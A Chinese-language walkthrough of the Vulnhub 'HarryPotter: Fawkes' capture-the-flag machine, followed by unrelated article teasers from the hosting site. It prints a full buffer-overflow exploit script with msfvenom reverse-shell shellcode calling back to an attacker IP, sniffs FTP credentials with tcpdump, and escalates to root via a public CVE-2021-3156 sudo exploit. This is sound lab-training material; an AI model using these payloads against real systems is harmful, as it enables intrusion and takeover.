Vulnhub系列靶机---HarryPotter-Fawkes-哈利波特系列靶机-3

文章目录

      • 信息收集
        • 主机发现
        • 端口扫描
        • dirsearch扫描
        • gobuster扫描
      • 漏洞利用
        • 缓冲区溢出
          • edb-debugger工具
          • msf-pattern工具
        • docker容器内提权
        • tcpdump流量分析
        • 容器外- sudo漏洞提权

靶机文档:HarryPotter: Fawkes

下载地址:Download (Mirror)

难易程度:难上难

信息收集

主机发现

 sudo netdiscover -r 192.168.8.0/24

image-20230912201415532

端口扫描

 sudo nmap -A -p- 192.168.8.128

image-20230912202244641

开放了ftp,web,ssh等服务

访问80端口

image-20230912202341747

dirsearch扫描

image-20230912202354945

gobuster扫描

gobuster dir -u http://192.168.8.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

image-20230912202839286

尽管使用了两个扫描工具,还是没有什么有用的信息

访问ftp看看有 什么信息

image-20230912203206284

image-20230912203304605

ELF是一种文件格式,是Linux的执行文件

赋予该 文件执行权限,,执行后没有反应

image-20230912203516826

查看运行端口号

image-20230912203840843

ss 是 Socket Statistics 的缩写。ss 命令可以用来获取 socket 统计信息,它显示的内容和 netstat 类似。但  ss 的优势在于它能够显示更多更详细的有关 TCP 和连接状态的信息,而且比 netstat 更快。当服务器的 socket  连接数量变得非常大时,无论是使用 netstat 命令还是直接 cat /proc/net/tcp,执行速度都会很慢。ss 命令利用到了 TCP 协议栈中 tcp_diag。tcp_diag 是一个用于分析统计的模块,可以获得 Linux 内核中第一手的信息,因此 ss  命令的性能会好很多。-p, –processes 显示监听端口的进程(Ubuntu 上需要 sudo)
-a,all 对 TCP 协议来说,既包含监听的端口,也包含建立的连接
-n, –numeric 不解析服务的名称,如 “22” 端口不会显示成 “ssh”
-t, –tcp 显示 TCP 协议的 sockets
-u, –udp 显示 UDP 协议的 sockets

发现端口号发端口扫描的时候一样,都是9898

使用nc工具,尝试监听本地9898端口

image-20230912204012964

给出的信息和端口扫描的时候得出的信息一样

image-20230912204051060

漏洞利用

缓冲区溢出

进行缓冲区溢出测试之前需要关闭ASLR

aslr是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技术。如今Linux,Windows等主流操作系统都已采用了该技术。

将kali上的ALSR安全机制关闭,该技术会导致地址空间随机化,不便调试

ALSR由 /proc/sys/kernel/randomize_va_space 决定,默认为2

0 - 表示关闭进程地址空间随机化

1 - 表示将mmap的基址,stack和vdso页面随机化。

2 - 表示在1的基础上增加栈(heap)的随机化。

echo 0 > /proc/sys/kernel/randomize_va_space
edb-debugger工具

apt install deb-bebugger安装这个图形化程序调试工具

如果安装不上可以从Github上拉取到本地,再进行编译

安装依赖:

sudo apt-get install        pkg-config 
sudo apt-get install        cmake 
sudo apt-get install        build-essential
sudo apt-get install        libboost-dev
sudo apt-get install        libqt5xmlpatterns5-dev
sudo apt-get install        qtbase5-dev  
sudo apt-get install        qt5-default    
sudo apt-get install        libgraphviz-dev  
sudo apt-get install        libqt5svg5-dev 
sudo apt-get install        libcapstone-dev            
# build and run edb
$ git clone --recursive https://github.com/eteran/edb-debugger.git
$ cd edb-debugger
$ mkdir build
$ cd build
$ cmake -DCMAKE_INSTALL_PREFIX=/usr/local/ ..
$ make
$ sudo make install
$ edb

,打开后点击attach功能,通过关键字选择已经跑起来的程序server_hogwarts(前提kali已经启动了server_hogwarts程序),点击开始按钮运行

image-20230912220014396

image-20230912220058135

使用Python生成500个A进行一般探测

python -c "print('A'*500)"

image-20230912220220257

image-20230912220346265

nc连接访问9898端口,注入生成的500个A

image-20230912220840908

image-20230912220852284

发现目标程序崩溃,位置0x41414141出现了错误

image-20230912220928405

EIP寄存器存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体命令

msf-pattern工具

寻找缓冲区溢出位置:

使用msf生成500个随机字符串

 msf-pattern_create -l 500

image-20230913145918580

重新打开一次那个文件,还有edb,将生成的字符串输入到咒语选择的地方

image-20230913150150271

image-20230913150207242

image-20230913150644480

通过报错提示我们得知0×64413764内存位置有问题,那这个位置很有可能就是想找的溢出位置;
查找该段编码对应的字符串在模式字符串中的偏移量:

msf-pattern_offset -l 500 -q 64413764

image-20230913150420058

也就是说从模式字符串中的第113个字符串开始造成了栈溢出

找到偏移位置后,构造反弹shell,要将构造的反弹shell十六进制后放入到ESP中,再让EIP指向ESP,反弹shell被执行

image-20230913151049857

image-20230913151453973

image-20230913151500870

找到 jmp esp 指令并记录其地址(0x08049d55

由于机器指令需要反写,转化为16进制

  08049d55---->559d0408---->\x55\x9d\x04\x08(需要写入EIP的内容)

使用Msfvenom构造反弹shell

Msfvenom它是一个是用来生成后门的软件

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.8.8 LPORT=6868 -b "\x00" -f python# LHOST:改为 kali 的 IP;
# LPORT:改为监听反弹 shell 的端口号;
# -b "\x00":过滤坏字符(’\0’),避免输入提前终止

image-20230913153347210

得出的Payload:

buf =  b""
buf += b"\xbb\xae\xef\x70\xa4\xda\xd0\xd9\x74\x24\xf4\x5a"
buf += b"\x33\xc9\xb1\x12\x83\xea\xfc\x31\x5a\x0e\x03\xf4"
buf += b"\xe1\x92\x51\x39\x25\xa5\x79\x6a\x9a\x19\x14\x8e"
buf += b"\x95\x7f\x58\xe8\x68\xff\x0a\xad\xc2\x3f\xe0\xcd"
buf += b"\x6a\x39\x03\xa5\xac\x11\xfb\x3d\x45\x60\xfc\x27"
buf += b"\x41\xed\x1d\xe7\x0f\xbe\x8c\x54\x63\x3d\xa6\xbb"
buf += b"\x4e\xc2\xea\x53\x3f\xec\x79\xcb\xd7\xdd\x52\x69"
buf += b"\x41\xab\x4e\x3f\xc2\x22\x71\x0f\xef\xf9\xf2"

构造exp脚本

# exp.py
import struct, socket,sysbuf =  b""
buf += b"\xbb\xae\xef\x70\xa4\xda\xd0\xd9\x74\x24\xf4\x5a"
buf += b"\x33\xc9\xb1\x12\x83\xea\xfc\x31\x5a\x0e\x03\xf4"
buf += b"\xe1\x92\x51\x39\x25\xa5\x79\x6a\x9a\x19\x14\x8e"
buf += b"\x95\x7f\x58\xe8\x68\xff\x0a\xad\xc2\x3f\xe0\xcd"
buf += b"\x6a\x39\x03\xa5\xac\x11\xfb\x3d\x45\x60\xfc\x27"
buf += b"\x41\xed\x1d\xe7\x0f\xbe\x8c\x54\x63\x3d\xa6\xbb"
buf += b"\x4e\xc2\xea\x53\x3f\xec\x79\xcb\xd7\xdd\x52\x69"
buf += b"\x41\xab\x4e\x3f\xc2\x22\x71\x0f\xef\xf9\xf2"payload = b'A'*112 + b'\x55\x9d\x04\x08' + b'\x90'*32  + buf
#payload = 112 * b'A' + struct.pack('I',0x08049d55) + 32 * b'\x90' + buf
try:s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('192.168.8.8', 9898))s.send((payload))s.close()
except:print("Wrong!")sys.exit()

image-20230913154632899

image-20230913160657880

成功拿到shell

docker容器内提权

在harry的目录下查看到.mycreds.txt中有一串疑似密码的字符串Harryp0tter@Hogwarts123,查看是否可以用来ssh登录

22端口下发现无法进入,前面端口探测到2222端口也是ssh服务,尝试在2222端口连接

harry : HarrYp0tter@Hogwarts123

ssh harry@192.168.8.128 -p 2222

image-20230913214824998

连接成功第一件事就是看看有没有能够以root省份执行的命令

image-20230913215122665

结果发现有所有的权限,而且还有不需要密码

sudo -i,使用root用户的环境变量,跳转到/root,拥有超级管理员权限

sudo -s,使用当前用户的环境变量,不跳转目录;拥有超级管理员权限

查看root目录下

image-20230913215726520

tcpdump流量分析

Linux作为网络服务器,特别是作为路由器和网关时,数据的采集和分析是不可少的。TcpDump是Linux中强大的网络数据采集分析工具之一。

    tcpdump可以根据使用者需求对网络上传输的数据包进行捕获的抓包工具,windows平台有wireshark等工具,tcpdump可以将网络中传输的数据包的“包头”全部捕获过来进行分析,其支持网络层、特定的传输协议、数据发送和接收的主机、网卡和端口的过滤,并提供and、or、not等语句进行逻辑组合捕获数据包或去掉不用的信息

根据提示,是要让我们把21端口的流量 监听分析一下,同时,使用ip a发现,这应该不是靶机本体,应该是在一个docker中,根据ip地址进行判断,这个2222端口应该是docker中的ssh,所以我们并没有进入到靶机本体的22端口,

image-20230913215951182

监听21端口流量

tcpdump -i eth0 port 21

image-20230913220245357

发现 neville用户,密码bL!Bsg3k

连接22端口成功,并且找到了第二个flag

image-20230913220500158

再次查看ip,此时已经从docker容器里出来了

image-20230913220542561

容器外- sudo漏洞提权

查看sudo 版本

sudo --version

image-20230913220714015

网上找出该版本是sudo堆溢出漏洞,漏洞编号:CVE-2021-3156,普通用户可以通过利用此漏洞,在默认配置的 sudo 主机上获取root权限

exp地址:https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

在靶机中查看sudo的路径

which sudo 

image-20230913221729484

然后修改下载的exp里的SUDO_PATH

image-20230913222034139

靶机开启监听,端口6868

nc -lvnp 6868 >  exploit_nss.py

image-20230913222338542

kali机访问靶机的6868端口,上传修改好的exp

nc 192.168.8.128 6868 < exploit_nss.py -w 1

image-20230913222350410

在靶机上运行exp即可提权成功!

image-20230913222529922

image-20230913222540359

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/131679.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

工厂除静电除尘设备--离子风枪

静电无处不在&#xff0c;区别在于静电的多少而已。特别是工业生产过程中&#xff0c;大量的静电会有很多危害。 静电的危害有几点&#xff1a;1.引起电子设备的故障或误动作&#xff0c;造成电磁干扰。2.击穿集成电路和精密的电子元件&#xff0c;或使元件老化&#xff0c;拉…

关于一个left join的易错点

很多人在学习mysql的时候应该都出现过很多问题&#xff0c;特别是连接方面的问题应该最多&#xff0c;希望这篇文章帮助到正在找bug的你 Java报错数据返回数量出现错误 遇到这种问题一定要看日志 很明显通过left join查询除了两条数据并且为空 马上思考错误的原因&#xff0c;…

【Java基础篇 | 面向对象】--- 聊聊什么是多态(上篇)

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【JavaSE_primary】 本专栏旨在分享学习JavaSE的一点学习心得&#xff0c;欢迎大家在评论区讨论&#x1f48c; 目录 一、什么是多态二、多…

数据结构基础7:二叉树【链式结构】实现和递归思想。

二叉树的链式结构实现 一.二叉树链式结构的实现&#xff1a;1.前置说明&#xff1a;1.创建二叉树&#xff1a;2.二叉树的结构&#xff1a; 2.二叉树的遍历&#xff1a;1.二叉树的前中后序遍历&#xff1a;2.内容拓展&#xff1a; 二.二叉树链式(题目)题目一&#xff1a;计算节点…

小程序源码:多功能口袋工具箱微信小程序源码-带流量主|云开发(更新)

这里主要分享多功能口袋工具箱微信小程序源码&#xff0c;有带流量主&#xff0c;而且超多功能工具箱组合的微信小程序源码。无需服务器即可搭建&#xff0c;可以设置流量主赚取收益。 源码链接&#xff1a; 网盘源码 密码&#xff1a;hma8 工具箱的应用一览&#xff1a; 1…

【计算机网络】传输层协议——TCP(上)

文章目录 TCPTCP协议段格式报头和有效载荷如何分离&#xff1f;4位首部长度 TCP可靠性确认应答机制的提出序号和确认序号为什么序号和确认序号在不同的字段&#xff1f; 16位窗口大小 6个标志位标志位本质具体标志位PSHRSTURG 超时重传机制 文章目录 TCPTCP协议段格式报头和有效…

Qt Designer UI设计布局小结

目录 前言1 居中布局2 左右布局3 上下布局4 复杂页面布局总结 前言 本文总结了在开发Qt应用程序时使用 Designer 进行UI布局的一些心得体会。Qt Designer是Qt提供的一个可视化界面设计工具&#xff0c;旨在帮助开发人员快速创建和布局用户界面。它提供了丰富的布局管理器和控件…

我的个人网站——宏夏Coding上线啦

网站地址&#xff1a;宏夏Coding Github地址&#xff1a;&#x1f525;&#x1f525;宏夏coding网站&#xff0c;致力于为编程学习者、互联网求职者提供最需要的内容&#xff01;网站内容包括求职秘籍&#xff0c;葵花宝典&#xff08;学习笔记&#xff09;&#xff0c;资源推…

线性代数的学习和整理20,关于向量/矩阵和正交相关,相似矩阵等(草稿)

目录 1 什么是正交 1.1 正交相关名词 1.2 正交的定义 1.3 正交向量 1.4 正交基 1.5 正交矩阵的特点 1.6 正交矩阵的用处 1 什么是正交 1.1 正交相关名词 orthogonal set 正交向量组正交变换orthogonal matrix 正交矩阵orthogonal basis 正交基orthogonal decompositio…

访问局域网内共享文件时报错0x80070043,找不到网络名

我是菜鸡 此篇只为分享一个我遇到的很简单的但是排查了好久的小问题。 我的网络环境是在校园网内&#xff0c; 自己的办公电脑设置了固定IP&#xff1a;10.11.128.236&#xff0c;同事电脑IP为&#xff1a;10.11.128.255 本人需要访问同事在局域网内分享的文件&#xff0c;…

关于vscode的GitLens插件里的FILE HISTORY理解

最近在用vscode的GitLens插件开发项目遇到这个疑问&#xff0c;先看图&#xff1a; 每当我点击FILE HISTORY 一个commit时&#xff0c;正常来说显示器会自动将点击的提交版本和它上一个提交版本进行比较&#xff0c;如果单纯这么理解的话就错了&#xff0c;因为GitLens的File …

富斯I6刷10通道固件

使用USB转串口模块刷写10通道固件 一、下载固件 1. 十通道英文固件 下载地址: https://github.com/benb0jangles/FlySky-i6-Mod-/tree/master 选择 FlySky-i6-Mod–master \ 10ch Mod i6 Updater \ 10ch_MOD_i6_Programmer_V1 路径下的文件,亲测可用。 2. 原版六通道中…

Android性能优化之应用瘦身(APK瘦身)

关于作者&#xff1a;CSDN内容合伙人、技术专家&#xff0c; 从零开始做日活千万级APP。 专注于分享各领域原创系列文章 &#xff0c;擅长java后端、移动开发、人工智能等&#xff0c;希望大家多多支持。 目录 一、导读二、概览2.1 apk组成 三、优化方向3.1 源代码3.1.1 代码混…

网站搭建从零开始(0)--域名的选择与解析

目录 确定用途 购买域名 使用可靠的注册商购买域名 想好域名关键词 检查域名是否可用 添加域名到购物车并完成购买 域名的解析 登录注册商账户 选择要配置的域名 进入DNS解析设置 添加DNS记录 保存配置 检查解析是否生效 提示 确定用途 在购买域名之前&#xf…

【MFC】Button控件美化(自绘)

在MFC中Button控件不能通过OnCtlColor&#xff08;&#xff09;函数对外观做太多的改变。 HBRUSH C按钮控件自绘Dlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) {HBRUSH hbr CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);switch (pWnd->GetDlgCtrlID()){case ID…

Dinky上路之旅

1、部署flink集群 1.1、flink-conf.yaml cat > flink-conf.yaml << EOF jobmanager.rpc.address: boshi-146 jobmanager.rpc.port: 6123 jobmanager.bind-host: 0.0.0.0 jobmanager.memory.process.size: 1600m taskmanager.bind-host: 0.0.0.0 # 修改为本机ip tas…

芯科蓝牙BG27开发笔记1-新建示例工程

此笔记的必要性 芯科的官方资料很丰富&#xff0c;并且ssv5中能方便索引到所需文档&#xff0c;不过大而全的问题就是找不到合适的切入点&#xff0c;更不会有本地化比较好的中文的系统的教程了。往往看到一个starting guide&#xff0c;会延伸其他starting guide&#xff0c;…

自动化控制系统的设计重点是什么?

要实现对选择性激光烧结系统预热温度的控制&#xff0c;需要找到合理的控制对象模型&#xff0c;但选择性激光烧结设备的预热温度场是一个复杂的非线性系统&#xff0c;很难找到合理的控制对象模型来实现预热温度场的温度控制。模糊控制不需要具体的控制模型&#xff0c;预热温…

如何修改jupyter notebook默认打开路径

1、用jupyter notebook在其他位置打开自己的ipython项目&#xff1a; jupyter notebook是一个很好用的工具&#xff0c;可以保存运行结果&#xff0c;还可以给项目添加很多可视化操作与介绍文字。安装anaconda后&#xff0c;jupyter notebook就会自动安装&#xff0c;点开它会…

The specified module could not be found.

新电脑运行项目的时候出现了某个包找不到的问题 \\?\D:\guanwnag\cloudquery-website\node_modules\.pnpm\nxnx-win32-x64-msvc16.5.3\node_modules\nx\nx-win32-x64-msvc\nx.win32-x64-msvc.node 引入的路径就感觉有问题 去github上查找原因&#xff0c;发现是没安装 Micro…